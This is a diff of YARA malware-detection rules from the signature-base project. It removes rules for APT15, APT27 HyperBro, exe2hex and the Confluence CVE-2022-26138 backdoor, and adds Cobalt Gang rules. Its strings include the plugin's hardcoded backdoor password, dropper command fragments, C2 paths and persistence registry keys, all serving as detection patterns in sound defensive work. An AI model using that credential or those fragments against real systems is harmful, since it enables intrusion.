-		id = "f07b9537-0741-51c8-a9fa-836430fe4855"
-		date = "2023-12-05"
+		id = "56c6f4f8-ccf5-5665-ac21-67f0a9b67cf1"
+		date = "2017-08-09"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt15.yar#L263-L283"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d21a7e349e796064ce10f2f6ede31c71"
-		logic_hash = "e7b5ac97f3dcf125e64001be53aca73ee19c1be8b192a762f231106c47f76867"
+		reference = "https://sslbl.abuse.ch/intel/6ece5ece4192683d2d84e25b0ba7e04f9cb7eb7c"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_cobaltgang.yar#L41-L57"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "46077106bd19dd38a714a220b887742f5a29424ac8eb89f469975f863b3782ec"
 		score = 75
 		quality = 85
 		tags = "FILE"
-
-	strings:
-		$s1 = "subjectname" fullword
-		$s2 = "sendername" fullword
-		$s3 = "WebCredentials" fullword
-		$s4 = "ExchangeVersion" fullword
-		$s5 = "ExchangeCredentials" fullword
-		$s6 = "slfilename" fullword
-		$s7 = "EnumMail" fullword
-		$s8 = "EnumFolder" fullword
-		$s9 = "set_Credentials" fullword
-		$s18 = "/v or /t is null" wide
-		$s24 = "2013sp1" wide
-
-	condition:
-		uint16(0)==0x5A4D and all of them
-}
-import "pe"
-
-rule SIGNATURE_BASE_Malware_Apt15_Generic
-{
-	meta:
-		description = "Find generic data potentially relating to AP15 tools"
-		author = "David Cannings"
-		id = "4eb50731-22df-5f7a-bf5f-166ef84cf8b5"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt15.yar#L285-L307"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e939a5ab4a4b2b289d5809e18dd57dd85e3da19a176719adba4707dfd605fc81"
-		score = 75
-		quality = 85
-		tags = ""
-
-	strings:
-		$str01 = "myWObject" fullword
-		$str02 = "myRObject" fullword
-		$opcodes01 = { 6A (02|03) 6A 00 6A 00 68 00 00 00 C0 50 FF 15 }
-
-	condition:
-		2 of them
-}
-rule SIGNATURE_BASE_VULN_Confluence_Questions_Plugin_CVE_2022_26138_Jul22_1 : CVE_2022_26138
-{
-	meta:
-		description = "Detects properties file of Confluence Questions plugin with static user name and password (backdoor) CVE-2022-26138"
-		author = "Florian Roth (Nextron Systems)"
-		id = "1443c673-2a86-5431-876a-c8fccba52190"
-		date = "2022-07-21"
-		modified = "2023-12-05"
-		reference = "https://www.bleepingcomputer.com/news/security/atlassian-fixes-critical-confluence-hardcoded-credentials-flaw/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/vul_confluence_questions_plugin_cve_2022_26138.yar#L2-L23"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c164bd3d9ed1e155d51112e14340b814f6ea782604540c84a6e9efb5c6041156"
-		score = 50
-		quality = 85
-		tags = "CVE-2022-26138"
-
-	strings:
-		$x_plain_1 = "predefined.user.password=disabled1system1user6708"
-		$jar_marker = "/confluence/plugins/questions/"
-		$jar_size_1 = { 00 CC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
-      /*    here starts default.properties v                          */
-                      ?? ?? ?? ?? ?? ?? 00 64 65 66 61 75 6C 74 2E 70
-                      72 6F 70 65 72 74 69 65 73 50 4B }
-		$jar_size_2 = { 00 CC 00 ?? ?? ?? ?? ?? 00 64 65 66 61 75 6C 74
-                      2E 70 72 6F 70 65 72 74 69 65 73 }
-
-	condition:
-		1 of ($x*) or ($jar_marker and 1 of ($jar_size*))
-}
-rule SIGNATURE_BASE_Payload_Exe2Hex
-{
-	meta:
-		description = "Detects payload generated by exe2hex"
-		author = "Florian Roth (Nextron Systems)"
-		id = "c29e4937-cc6a-5265-a3b9-1018228dc956"
-		date = "2016-01-15"
-		modified = "2023-12-05"
-		reference = "https://github.com/g0tmi1k/exe2hex"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/generic_exe2hex_payload.yar#L8-L28"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "91b738f0174a267bbc900d59abcb504d2ae0bac8c287c3b7d1ebfc57374a7ee7"
-		score = 70
-		quality = 85
-		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "6d70673b723f338b3febc9f1d69463bdd4775539cb92b5a5d8fccc0d977fa2f0"
 
 	strings:
-		$a1 = "set /p \"=4d5a" ascii
-		$a2 = "powershell -Command \"$hex=" ascii
-		$b1 = "set+%2Fp+%22%3D4d5" ascii
-		$b2 = "powershell+-Command+%22%24hex" ascii
-		$c1 = "echo 4d 5a " ascii
-		$c2 = "echo r cx >>" ascii
-		$d1 = "echo+4d+5a+" ascii
-		$d2 = "echo+r+cx+%3E%3E" ascii
-
-	condition:
-		all of ($a*) or all of ($b*) or all of ($c*) or all of ($d*)
-}
-import "pe"
-
-rule SIGNATURE_BASE_APT_RU_APT27_Hyperbro_Vftrace_Loader_Jan22_1 : FILE
-{
-	meta:
-		description = "Yara rule to detect first Hyperbro Loader Stage, often called vftrace.dll. Detects decoding function."
-		author = "Bundesamt fuer Verfassungsschutz (modified by Florian Roth)"
-		id = "b049e163-2694-5fb9-a3a3-98cc77bcd0ca"
-		date = "2022-01-14"
-		modified = "2023-12-05"
-		reference = "https://www.verfassungsschutz.de/SharedDocs/publikationen/DE/cyberabwehr/2022-01-bfv-cyber-brief.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt27_hyperbro.yar#L3-L19"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d8785ea937891636bea5ed8128de44fa6084a1a48800c1586739c5ca9e4c43bd"
-		score = 75
-		quality = 85
-		tags = "FILE"
-		sharing = "TLP:WHITE"
-		hash1 = "333B52C2CFAC56B86EE9D54AEF4F0FF4144528917BC1AA1FE1613EFC2318339A"
-
-	strings:
-		$decoder_routine = { 8A ?? 41 10 00 00 8B ?? 28 ?? ?? 4? 3B ?? 72 ?? }
+		$s1 = "ServerSocket.EXE" fullword wide
+		$s2 = "Incorrect version of WS2_32.dll found" fullword ascii
+		$s3 = "Click 'Connect' to Connect to the Server.  'Disconnect' to disconnect from server." fullword wide
+		$s4 = "Click 'Start' to start the Server.  'Stop' to Stop it." fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <5MB and $decoder_routine and pe.exports("D_C_Support_SetD_File")
+		( uint16(0)==0x5a4d and filesize <400KB and 3 of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_APT_CN_APT27_Compromised_Certficate_Jan22_1
+rule SIGNATURE_BASE_Cobaltgang_Malware_Aug17_2 : FILE
 {
 	meta:
-		description = "Detects compromised certifcates used by APT27 malware"
+		description = "Detects a Cobalt Gang malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f2f015af-219d-51ab-9529-01687a879ebb"
-		date = "2022-01-29"
-		modified = "2023-12-05"
-		reference = "https://www.verfassungsschutz.de/SharedDocs/publikationen/DE/cyberabwehr/2022-01-bfv-cyber-brief.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt27_hyperbro.yar#L21-L34"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "94a40d55936fc341eaba5e1accc8bfe3a401114298e7a3cc4d5c64af36eadf9e"
-		score = 80
-		quality = 85
-		tags = ""
-
-	condition:
-		for any i in (0..pe.number_of_signatures) : (pe.signatures[i].issuer contains "DigiCert SHA2 Assured ID Code Signing CA" and pe.signatures[i].serial=="08:68:70:51:50:f1:cf:c1:fc:c3:fc:91:a4:49:49:a6")
-}
-import "pe"
-
-rule SIGNATURE_BASE_Hvs_APT27_Hyperbro_Decrypted_Stage2 : FILE
-{
-	meta:
-		description = "HyperBro Stage 2 and compressed Stage 3 detection"
-		author = "Moritz Oettle"
-		id = "039e5d41-eadb-5c53-82cd-20ffd4105326"
-		date = "2022-02-07"
+		id = "2839c119-0fa4-51f0-a406-5d381cc594a2"
+		date = "2017-08-09"
 		modified = "2023-12-05"
-		reference = "https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt27_hyperbro.yar#L35-L57"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6eb56c4a92e89977e536ccc3c70170062aca072c6981b40aeea184ea2ca461a6"
+		reference = "https://sslbl.abuse.ch/intel/6ece5ece4192683d2d84e25b0ba7e04f9cb7eb7c"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_cobaltgang.yar#L59-L72"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "54095d2f447b6478aefe956133fb9b97171c1e07d7d9186a70bf242a094e4156"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "fc5a58bf0fce9cb96f35ee76842ff17816fe302e3164bc7c6a5ef46f6eff67ed"
-
-	strings:
-		$lznt1_compressed_pe_header_small = { FC B9 00 4D 5A 90 }
-		$lznt1_compressed_pe_header_large_1 = { FC B9 00 4D 5A 90 00 03 00 00 00 82 04 00 30 FF FF 00 }
-		$lznt1_compressed_pe_header_large_2 = { 00 b8 00 38 0d 01 00 40 04 38 19 00 10 01 00 00 }
-		$lznt1_compressed_pe_header_large_3 = { 00 0e 1f ba 0e 00 b4 09 cd 00 21 b8 01 4c cd 21 }
-		$lznt1_compressed_pe_header_large_4 = { 54 68 00 69 73 20 70 72 6f 67 72 00 61 6d 20 63 }
-		$lznt1_compressed_pe_header_large_5 = { 61 6e 6e 6f 00 74 20 62 65 20 72 75 6e 00 20 69 }
-		$lznt1_compressed_pe_header_large_6 = { 6e 20 44 4f 53 20 00 6d 6f 64 65 2e 0d 0d 0a 02 }
-
-	condition:
-		filesize <200KB and ($lznt1_compressed_pe_header_small at 0x9ce) or ( all of ($lznt1_compressed_pe_header_large_*))
-}
-import "pe"
-
-rule SIGNATURE_BASE_Hvs_APT27_Hyperbro_Stage3 : FILE
-{
-	meta:
-		description = "HyperBro Stage 3 detection - also tested in memory"
-		author = "Markus Poelloth"
-		id = "b4002777-f129-5177-a8f1-690012a207fa"
-		date = "2022-02-07"
-		modified = "2023-01-07"
-		reference = "https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt27_hyperbro.yar#L59-L84"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "49c1e70d63d93244b4b44525f2b30c05512b5f3a30d6d7c43c9366a95c84e79b"
-		score = 50
-		quality = 85
-		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "624e85bd669b97bc55ed5c5ea5f6082a1d4900d235a5d2e2a5683a04e36213e8"
-
-	strings:
-		$s1 = "\\cmd.exe /A" wide
-		$s2 = "vftrace.dll" fullword wide
-		$s3 = "msmpeng.exe" fullword wide
-		$s4 = "\\\\.\\pipe\\testpipe" fullword wide
-		$s5 = "thumb.dat" fullword wide
-		$g1 = "%s\\%d.exe" fullword wide
-		$g2 = "https://%s:%d/api/v2/ajax" fullword wide
-		$g3 = " -k networkservice" fullword wide
-		$g4 = " -k localservice" fullword wide
-
-	condition:
-		uint16(0)==0x5a4d and filesize <300KB and ((4 of ($s*)) or (4 of ($g*)))
-}
-import "pe"
-
-rule SIGNATURE_BASE_Hvs_APT27_Hyperbro_Stage3_C2
-{
-	meta:
-		description = "HyperBro Stage 3 C2 path and user agent detection - also tested in memory"
-		author = "Marc Stroebel"
-		id = "d1fe03b9-440c-5127-9572-dddcd5c9966b"
-		date = "2022-02-07"
-		modified = "2023-12-05"
-		reference = "https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt27_hyperbro.yar#L86-L100"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "676df1eaa782c6b876df138a0ddddc3c63e277b84d4414b044314ee219674420"
-		score = 50
-		quality = 81
-		tags = ""
-		hash1 = "624e85bd669b97bc55ed5c5ea5f6082a1d4900d235a5d2e2a5683a04e36213e8"
-
-	strings:
-		$s1 = "api/v2/ajax" ascii wide nocase
-		$s2 = "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36" ascii wide nocase
-
-	condition:
-		all of them
-}
-import "pe"
-
-rule SIGNATURE_BASE_Hvs_APT27_Hyperbro_Stage3_Persistence
-{
-	meta:
-		description = "HyperBro Stage 3 registry keys for persistence"
-		author = "Marko Dorfhuber"
-		id = "2bb1d28b-5fc4-5f0b-b546-c8b8192b0d48"
-		date = "2022-02-07"
-		modified = "2023-12-05"
-		reference = "https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt27_hyperbro.yar#L103-L117"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "db4b7be2bafe29b5e7c81a90e17a660cf73cff1c2e8edd04a9421daba09e3e0e"
-		score = 75
-		quality = 85
-		tags = ""
-		hash1 = "624e85bd669b97bc55ed5c5ea5f6082a1d4900d235a5d2e2a5683a04e36213e8"
+		hash1 = "80791d5e76782cc3cd14f37f351e33b860818784192ab5b650f1cdf4f131cf72"
 
 	strings:
-		$ = "SOFTWARE\\WOW6432Node\\Microsoft\\config_" ascii
-		$ = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\windefenders" ascii
+		$s1 = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; BOIE9;ENGB)" fullword ascii
 
 	condition:
-		1 of them
+		( uint16(0)==0x5a4d and filesize <80KB and all of them )
 }
 import "pe"
-
-rule SIGNATURE_BASE_Hvs_APT27_Hyperbro_Encrypted_Stage2 : FILE
-{
-	meta:
-		description = "HyperBro Encrypted Stage 2 detection. Looks for all possible one byte shifts of the lznt1 compressed PE header"
-		author = "Moritz Oettle"
-		id = "fa4fe057-4c3f-5785-a8d3-588398360996"
-		date = "2022-02-07"
-		modified = "2023-12-05"
-		reference = "https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt27_hyperbro.yar#L120-L389"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c3b07bdb19730fc9c8cca8aa7581a32eb80e3dbc5c4d366fbb2f9966081c1a21"
-		score = 75
-		quality = 60
-		tags = "FILE"
-		hash1 = "fc5a58bf0fce9cb96f35ee76842ff17816fe302e3164bc7c6a5ef46f6eff67ed"
-
-	strings:
-		$encrypted_pe_header_shift_0 = { fc b9 00 4d 5a 90 00 03 00 00 00 82 04 00 30 ff ff 00 }
-		$encrypted_pe_header_shift_1 = { fd ba 01 4e 5b 91 01 04 01 01 01 83 05 01 31 00 00 01 }
-		$encrypted_pe_header_shift_2 = { fe bb 02 4f 5c 92 02 05 02 02 02 84 06 02 32 01 01 02 }
-		$encrypted_pe_header_shift_3 = { ff bc 03 50 5d 93 03 06 03 03 03 85 07 03 33 02 02 03 }
-		$encrypted_pe_header_shift_4 = { 00 bd 04 51 5e 94 04 07 04 04 04 86 08 04 34 03 03 04 }
-		$encrypted_pe_header_shift_5 = { 01 be 05 52 5f 95 05 08 05 05 05 87 09 05 35 04 04 05 }
-		$encrypted_pe_header_shift_6 = { 02 bf 06 53 60 96 06 09 06 06 06 88 0a 06 36 05 05 06 }
-		$encrypted_pe_header_shift_7 = { 03 c0 07 54 61 97 07 0a 07 07 07 89 0b 07 37 06 06 07 }
-		$encrypted_pe_header_shift_8 = { 04 c1 08 55 62 98 08 0b 08 08 08 8a 0c 08 38 07 07 08 }
-		$encrypted_pe_header_shift_9 = { 05 c2 09 56 63 99 09 0c 09 09 09 8b 0d 09 39 08 08 09 }
-		$encrypted_pe_header_shift_10 = { 06 c3 0a 57 64 9a 0a 0d 0a 0a 0a 8c 0e 0a 3a 09 09 0a }
-		$encrypted_pe_header_shift_11 = { 07 c4 0b 58 65 9b 0b 0e 0b 0b 0b 8d 0f 0b 3b 0a 0a 0b }
-		$encrypted_pe_header_shift_12 = { 08 c5 0c 59 66 9c 0c 0f 0c 0c 0c 8e 10 0c 3c 0b 0b 0c }
-		$encrypted_pe_header_shift_13 = { 09 c6 0d 5a 67 9d 0d 10 0d 0d 0d 8f 11 0d 3d 0c 0c 0d }
-		$encrypted_pe_header_shift_14 = { 0a c7 0e 5b 68 9e 0e 11 0e 0e 0e 90 12 0e 3e 0d 0d 0e }
-		$encrypted_pe_header_shift_15 = { 0b c8 0f 5c 69 9f 0f 12 0f 0f 0f 91 13 0f 3f 0e 0e 0f }
-		$encrypted_pe_header_shift_16 = { 0c c9 10 5d 6a a0 10 13 10 10 10 92 14 10 40 0f 0f 10 }
-		$encrypted_pe_header_shift_17 = { 0d ca 11 5e 6b a1 11 14 11 11 11 93 15 11 41 10 10 11 }
-		$encrypted_pe_header_shift_18 = { 0e cb 12 5f 6c a2 12 15 12 12 12 94 16 12 42 11 11 12 }
-		$encrypted_pe_header_shift_19 = { 0f cc 13 60 6d a3 13 16 13 13 13 95 17 13 43 12 12 13 }
-		$encrypted_pe_header_shift_20 = { 10 cd 14 61 6e a4 14 17 14 14 14 96 18 14 44 13 13 14 }
-		$encrypted_pe_header_shift_21 = { 11 ce 15 62 6f a5 15 18 15 15 15 97 19 15 45 14 14 15 }
-		$encrypted_pe_header_shift_22 = { 12 cf 16 63 70 a6 16 19 16 16 16 98 1a 16 46 15 15 16 }
-		$encrypted_pe_header_shift_23 = { 13 d0 17 64 71 a7 17 1a 17 17 17 99 1b 17 47 16 16 17 }
-		$encrypted_pe_header_shift_24 = { 14 d1 18 65 72 a8 18 1b 18 18 18 9a 1c 18 48 17 17 18 }
-		$encrypted_pe_header_shift_25 = { 15 d2 19 66 73 a9 19 1c 19 19 19 9b 1d 19 49 18 18 19 }
-		$encrypted_pe_header_shift_26 = { 16 d3 1a 67 74 aa 1a 1d 1a 1a 1a 9c 1e 1a 4a 19 19 1a }
-		$encrypted_pe_header_shift_27 = { 17 d4 1b 68 75 ab 1b 1e 1b 1b 1b 9d 1f 1b 4b 1a 1a 1b }
-		$encrypted_pe_header_shift_28 = { 18 d5 1c 69 76 ac 1c 1f 1c 1c 1c 9e 20 1c 4c 1b 1b 1c }
-		$encrypted_pe_header_shift_29 = { 19 d6 1d 6a 77 ad 1d 20 1d 1d 1d 9f 21 1d 4d 1c 1c 1d }
-		$encrypted_pe_header_shift_30 = { 1a d7 1e 6b 78 ae 1e 21 1e 1e 1e a0 22 1e 4e 1d 1d 1e }
-		$encrypted_pe_header_shift_31 = { 1b d8 1f 6c 79 af 1f 22 1f 1f 1f a1 23 1f 4f 1e 1e 1f }
-		$encrypted_pe_header_shift_32 = { 1c d9 20 6d 7a b0 20 23 20 20 20 a2 24 20 50 1f 1f 20 }
-		$encrypted_pe_header_shift_33 = { 1d da 21 6e 7b b1 21 24 21 21 21 a3 25 21 51 20 20 21 }
-		$encrypted_pe_header_shift_34 = { 1e db 22 6f 7c b2 22 25 22 22 22 a4 26 22 52 21 21 22 }
-		$encrypted_pe_header_shift_35 = { 1f dc 23 70 7d b3 23 26 23 23 23 a5 27 23 53 22 22 23 }
-		$encrypted_pe_header_shift_36 = { 20 dd 24 71 7e b4 24 27 24 24 24 a6 28 24 54 23 23 24 }
-		$encrypted_pe_header_shift_37 = { 21 de 25 72 7f b5 25 28 25 25 25 a7 29 25 55 24 24 25 }
-		$encrypted_pe_header_shift_38 = { 22 df 26 73 80 b6 26 29 26 26 26 a8 2a 26 56 25 25 26 }
-		$encrypted_pe_header_shift_39 = { 23 e0 27 74 81 b7 27 2a 27 27 27 a9 2b 27 57 26 26 27 }
-		$encrypted_pe_header_shift_40 = { 24 e1 28 75 82 b8 28 2b 28 28 28 aa 2c 28 58 27 27 28 }
-		$encrypted_pe_header_shift_41 = { 25 e2 29 76 83 b9 29 2c 29 29 29 ab 2d 29 59 28 28 29 }
-		$encrypted_pe_header_shift_42 = { 26 e3 2a 77 84 ba 2a 2d 2a 2a 2a ac 2e 2a 5a 29 29 2a }
-		$encrypted_pe_header_shift_43 = { 27 e4 2b 78 85 bb 2b 2e 2b 2b 2b ad 2f 2b 5b 2a 2a 2b }
-		$encrypted_pe_header_shift_44 = { 28 e5 2c 79 86 bc 2c 2f 2c 2c 2c ae 30 2c 5c 2b 2b 2c }
-		$encrypted_pe_header_shift_45 = { 29 e6 2d 7a 87 bd 2d 30 2d 2d 2d af 31 2d 5d 2c 2c 2d }
-		$encrypted_pe_header_shift_46 = { 2a e7 2e 7b 88 be 2e 31 2e 2e 2e b0 32 2e 5e 2d 2d 2e }
-		$encrypted_pe_header_shift_47 = { 2b e8 2f 7c 89 bf 2f 32 2f 2f 2f b1 33 2f 5f 2e 2e 2f }
-		$encrypted_pe_header_shift_48 = { 2c e9 30 7d 8a c0 30 33 30 30 30 b2 34 30 60 2f 2f 30 }
-		$encrypted_pe_header_shift_49 = { 2d ea 31 7e 8b c1 31 34 31 31 31 b3 35 31 61 30 30 31 }
-		$encrypted_pe_header_shift_50 = { 2e eb 32 7f 8c c2 32 35 32 32 32 b4 36 32 62 31 31 32 }
-		$encrypted_pe_header_shift_51 = { 2f ec 33 80 8d c3 33 36 33 33 33 b5 37 33 63 32 32 33 }
-		$encrypted_pe_header_shift_52 = { 30 ed 34 81 8e c4 34 37 34 34 34 b6 38 34 64 33 33 34 }
-		$encrypted_pe_header_shift_53 = { 31 ee 35 82 8f c5 35 38 35 35 35 b7 39 35 65 34 34 35 }
-		$encrypted_pe_header_shift_54 = { 32 ef 36 83 90 c6 36 39 36 36 36 b8 3a 36 66 35 35 36 }
-		$encrypted_pe_header_shift_55 = { 33 f0 37 84 91 c7 37 3a 37 37 37 b9 3b 37 67 36 36 37 }
-		$encrypted_pe_header_shift_56 = { 34 f1 38 85 92 c8 38 3b 38 38 38 ba 3c 38 68 37 37 38 }
-		$encrypted_pe_header_shift_57 = { 35 f2 39 86 93 c9 39 3c 39 39 39 bb 3d 39 69 38 38 39 }
-		$encrypted_pe_header_shift_58 = { 36 f3 3a 87 94 ca 3a 3d 3a 3a 3a bc 3e 3a 6a 39 39 3a }
-		$encrypted_pe_header_shift_59 = { 37 f4 3b 88 95 cb 3b 3e 3b 3b 3b bd 3f 3b 6b 3a 3a 3b }
-		$encrypted_pe_header_shift_60 = { 38 f5 3c 89 96 cc 3c 3f 3c 3c 3c be 40 3c 6c 3b 3b 3c }
-		$encrypted_pe_header_shift_61 = { 39 f6 3d 8a 97 cd 3d 40 3d 3d 3d bf 41 3d 6d 3c 3c 3d }
-		$encrypted_pe_header_shift_62 = { 3a f7 3e 8b 98 ce 3e 41 3e 3e 3e c0 42 3e 6e 3d 3d 3e }
-		$encrypted_pe_header_shift_63 = { 3b f8 3f 8c 99 cf 3f 42 3f 3f 3f c1 43 3f 6f 3e 3e 3f }
-		$encrypted_pe_header_shift_64 = { 3c f9 40 8d 9a d0 40 43 40 40 40 c2 44 40 70 3f 3f 40 }
-		$encrypted_pe_header_shift_65 = { 3d fa 41 8e 9b d1 41 44 41 41 41 c3 45 41 71 40 40 41 }
-		$encrypted_pe_header_shift_66 = { 3e fb 42 8f 9c d2 42 45 42 42 42 c4 46 42 72 41 41 42 }
-		$encrypted_pe_header_shift_67 = { 3f fc 43 90 9d d3 43 46 43 43 43 c5 47 43 73 42 42 43 }
-		$encrypted_pe_header_shift_68 = { 40 fd 44 91 9e d4 44 47 44 44 44 c6 48 44 74 43 43 44 }
-		$encrypted_pe_header_shift_69 = { 41 fe 45 92 9f d5 45 48 45 45 45 c7 49 45 75 44 44 45 }
-		$encrypted_pe_header_shift_70 = { 42 ff 46 93 a0 d6 46 49 46 46 46 c8 4a 46 76 45 45 46 }
-		$encrypted_pe_header_shift_71 = { 43 00 47 94 a1 d7 47 4a 47 47 47 c9 4b 47 77 46 46 47 }
-		$encrypted_pe_header_shift_72 = { 44 01 48 95 a2 d8 48 4b 48 48 48 ca 4c 48 78 47 47 48 }
-		$encrypted_pe_header_shift_73 = { 45 02 49 96 a3 d9 49 4c 49 49 49 cb 4d 49 79 48 48 49 }
-		$encrypted_pe_header_shift_74 = { 46 03 4a 97 a4 da 4a 4d 4a 4a 4a cc 4e 4a 7a 49 49 4a }
-		$encrypted_pe_header_shift_75 = { 47 04 4b 98 a5 db 4b 4e 4b 4b 4b cd 4f 4b 7b 4a 4a 4b }
-		$encrypted_pe_header_shift_76 = { 48 05 4c 99 a6 dc 4c 4f 4c 4c 4c ce 50 4c 7c 4b 4b 4c }
-		$encrypted_pe_header_shift_77 = { 49 06 4d 9a a7 dd 4d 50 4d 4d 4d cf 51 4d 7d 4c 4c 4d }
-		$encrypted_pe_header_shift_78 = { 4a 07 4e 9b a8 de 4e 51 4e 4e 4e d0 52 4e 7e 4d 4d 4e }
-		$encrypted_pe_header_shift_79 = { 4b 08 4f 9c a9 df 4f 52 4f 4f 4f d1 53 4f 7f 4e 4e 4f }
-		$encrypted_pe_header_shift_80 = { 4c 09 50 9d aa e0 50 53 50 50 50 d2 54 50 80 4f 4f 50 }
-		$encrypted_pe_header_shift_81 = { 4d 0a 51 9e ab e1 51 54 51 51 51 d3 55 51 81 50 50 51 }
-		$encrypted_pe_header_shift_82 = { 4e 0b 52 9f ac e2 52 55 52 52 52 d4 56 52 82 51 51 52 }
-		$encrypted_pe_header_shift_83 = { 4f 0c 53 a0 ad e3 53 56 53 53 53 d5 57 53 83 52 52 53 }
-		$encrypted_pe_header_shift_84 = { 50 0d 54 a1 ae e4 54 57 54 54 54 d6 58 54 84 53 53 54 }
-		$encrypted_pe_header_shift_85 = { 51 0e 55 a2 af e5 55 58 55 55 55 d7 59 55 85 54 54 55 }
-		$encrypted_pe_header_shift_86 = { 52 0f 56 a3 b0 e6 56 59 56 56 56 d8 5a 56 86 55 55 56 }
-		$encrypted_pe_header_shift_87 = { 53 10 57 a4 b1 e7 57 5a 57 57 57 d9 5b 57 87 56 56 57 }
-		$encrypted_pe_header_shift_88 = { 54 11 58 a5 b2 e8 58 5b 58 58 58 da 5c 58 88 57 57 58 }
-		$encrypted_pe_header_shift_89 = { 55 12 59 a6 b3 e9 59 5c 59 59 59 db 5d 59 89 58 58 59 }
-		$encrypted_pe_header_shift_90 = { 56 13 5a a7 b4 ea 5a 5d 5a 5a 5a dc 5e 5a 8a 59 59 5a }
-		$encrypted_pe_header_shift_91 = { 57 14 5b a8 b5 eb 5b 5e 5b 5b 5b dd 5f 5b 8b 5a 5a 5b }
-		$encrypted_pe_header_shift_92 = { 58 15 5c a9 b6 ec 5c 5f 5c 5c 5c de 60 5c 8c 5b 5b 5c }
-		$encrypted_pe_header_shift_93 = { 59 16 5d aa b7 ed 5d 60 5d 5d 5d df 61 5d 8d 5c 5c 5d }
-		$encrypted_pe_header_shift_94 = { 5a 17 5e ab b8 ee 5e 61 5e 5e 5e e0 62 5e 8e 5d 5d 5e }
-		$encrypted_pe_header_shift_95 = { 5b 18 5f ac b9 ef 5f 62 5f 5f 5f e1 63 5f 8f 5e 5e 5f }
-		$encrypted_pe_header_shift_96 = { 5c 19 60 ad ba f0 60 63 60 60 60 e2 64 60 90 5f 5f 60 }
-		$encrypted_pe_header_shift_97 = { 5d 1a 61 ae bb f1 61 64 61 61 61 e3 65 61 91 60 60 61 }
-		$encrypted_pe_header_shift_98 = { 5e 1b 62 af bc f2 62 65 62 62 62 e4 66 62 92 61 61 62 }
-		$encrypted_pe_header_shift_99 = { 5f 1c 63 b0 bd f3 63 66 63 63 63 e5 67 63 93 62 62 63 }
